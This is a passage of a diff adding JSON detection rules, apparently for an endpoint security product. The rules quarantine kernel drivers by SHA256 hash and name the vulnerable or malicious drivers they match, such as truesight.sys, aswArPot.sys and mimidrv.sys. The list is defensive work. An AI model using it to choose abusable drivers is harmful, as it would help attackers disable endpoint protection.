+  "last_update": "2026-03-23T11:45:29.969819Z",
+  "creation_date": "2026-03-23T11:45:29.969821Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.969826Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f6cb70c945e7b3723de1d334aa2fb97bb8ddb9f68e409deeb9988f446546a57c",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05076b32-cce0-5681-b423-97d1f96778bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468611Z",
+  "creation_date": "2026-03-23T11:45:30.468614Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468622Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "94f4bcc9b062406ee7468659c1710d3e0cb057c7b7194e15cd72845082138019",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "050cac9e-59ad-5881-a7b5-0a1b027ab859",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816635Z",
+  "creation_date": "2026-03-23T11:45:30.816637Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816643Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "defde359045213ae6ae278e2a92c5b4a46a74119902364c7957a38138e9c9bbd",
+  "comment": "Vulnerable Kernel Driver (aka avalueio.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0512b663-3484-5dd8-9571-f68300078c85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490919Z",
+  "creation_date": "2026-03-23T11:45:31.490922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a222868df05c425df8ac6b7945405c4ed61d9f81f0789171869226d156e9ac24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05198561-b1db-5967-80b8-dc2c6b472487",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808865Z",
+  "creation_date": "2026-03-23T11:45:31.808885Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808891Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "746900af78ec0d7904d0cbb3969281cfb1d5ebedd53017cae6a27509062b8066",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05223dc4-5a8f-5cf8-9bb1-e4b41b418668",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156887Z",
+  "creation_date": "2026-03-23T11:45:31.156889Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156894Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18357003448d4db822b5eea10eefa18fd78646079ebd338a9e7ee210542b1103",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05272034-3189-51b2-a78a-1db537f5995f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150686Z",
+  "creation_date": "2026-03-23T11:45:31.150688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "83830685970d9094f7605289cfd06dcf1741e233216fd7dc2e43f0d3b0c90d79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05323ac5-24e5-5052-8c24-e4de8f07eb7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.160345Z",
+  "creation_date": "2026-03-23T11:45:31.160347Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.160353Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bed676cce59f13fe1ae3c07b1897deaba401840d822af8021790440eb9f3b7e2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0537b285-3d55-5512-afa9-b2deb2a4bfd2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146565Z",
+  "creation_date": "2026-03-23T11:45:31.146567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2946278067a6a60d88d842bfb9134731c73fb7accf734120182263cb785a4daf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "053923c3-5b72-51e5-9fbe-697e1af0393c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.483064Z",
+  "creation_date": "2026-03-23T11:45:31.483068Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.483078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1d12f7b06088c56e4ced1296b0d9614b1fa3042fcbb964685514dff0b297730",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "054436d8-92ca-5d17-ac0a-21b765e4cba5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613910Z",
+  "creation_date": "2026-03-23T11:45:29.613912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613918Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3fa4872fd2c286904a0cf37a392ef89fb6ba2a84fc9e1b66c70e0cb5ae28efa",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "054948f6-8d70-5ed0-9f64-0e63617990ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143183Z",
+  "creation_date": "2026-03-23T11:45:31.143185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143190Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a38dbf377d4371911959762bc856b04ef38ee54b53b5b327977ccf23fec6c5b6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "054fa1a1-6520-5ad2-bdb7-67da9220ff65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970019Z",
+  "creation_date": "2026-03-23T11:45:29.970021Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970026Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68043583bc2f3fc1ca11458e8b921dce2573afdc04bd20ba85eeb806d884eb6f",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0554a339-a44b-501b-8cdd-10413c5c5ccf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828257Z",
+  "creation_date": "2026-03-23T11:45:30.828259Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828265Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9d82863d3837c0074fd60fbf8ed69f082a0681d4d9945eba8488e8482c8bba31",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "055d0196-ad4c-52c1-9717-dd839c89c121",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151195Z",
+  "creation_date": "2026-03-23T11:45:31.151197Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151202Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f83e9c4122d25e9d32087c77d9391b46974b3d7090f369529ff2354d7d215b39",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0569fc76-6e58-5438-afe0-d117c1069bf3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609630Z",
+  "creation_date": "2026-03-23T11:45:29.609632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "76660e91f1ff3cb89630df5af4fe09de6098d09baa66b1a130c89c3c5edd5b22",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05815517-72b3-5d65-81bb-6bacf04e9085",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617816Z",
+  "creation_date": "2026-03-23T11:45:29.617818Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617823Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "afdd66562dea51001c3a9de300f91fc3eb965d6848dfce92ccb9b75853e02508",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "058a7d7d-4b10-5ea9-b083-f536323e74c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808969Z",
+  "creation_date": "2026-03-23T11:45:31.808971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808976Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b180e7871f6fbdc5fc8eac158a2a529b706bcf5ee60a34865574617de96c2ef5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05a40ccd-8930-52a7-bd25-aef204aa96a6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476371Z",
+  "creation_date": "2026-03-23T11:45:31.476376Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "95d668bd3b2131b48b8938b1083279d5c56a29214912556ca22d385d3933a32c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05a5c571-fabf-5a83-81d8-823e0d240d3c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821583Z",
+  "creation_date": "2026-03-23T11:45:30.821586Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821595Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "00d9781d0823ab49505ef9c877aa6fa674e19ecc8b02c39ee2728f298bc92b03",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05b26c98-7a11-5ae0-82c1-cb750152c462",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.485451Z",
+  "creation_date": "2026-03-23T11:45:31.485455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.485465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e71d4c24fab2ccffcf694066bb773a7591d682be6644f555df69325cba136f3b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05b2fe91-6886-550d-b2c3-ff25e8135ea3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816549Z",
+  "creation_date": "2026-03-23T11:45:31.816552Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ae0ea2defb5399b26e18586ec288ed28fc67b8f8d46fbf3080b6b77d3a6d33f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "05b8773f-6980-531a-b1ca-2e4a589c9d2f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831658Z",
+  "creation_date": "2026-03-23T11:45:30.831660Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
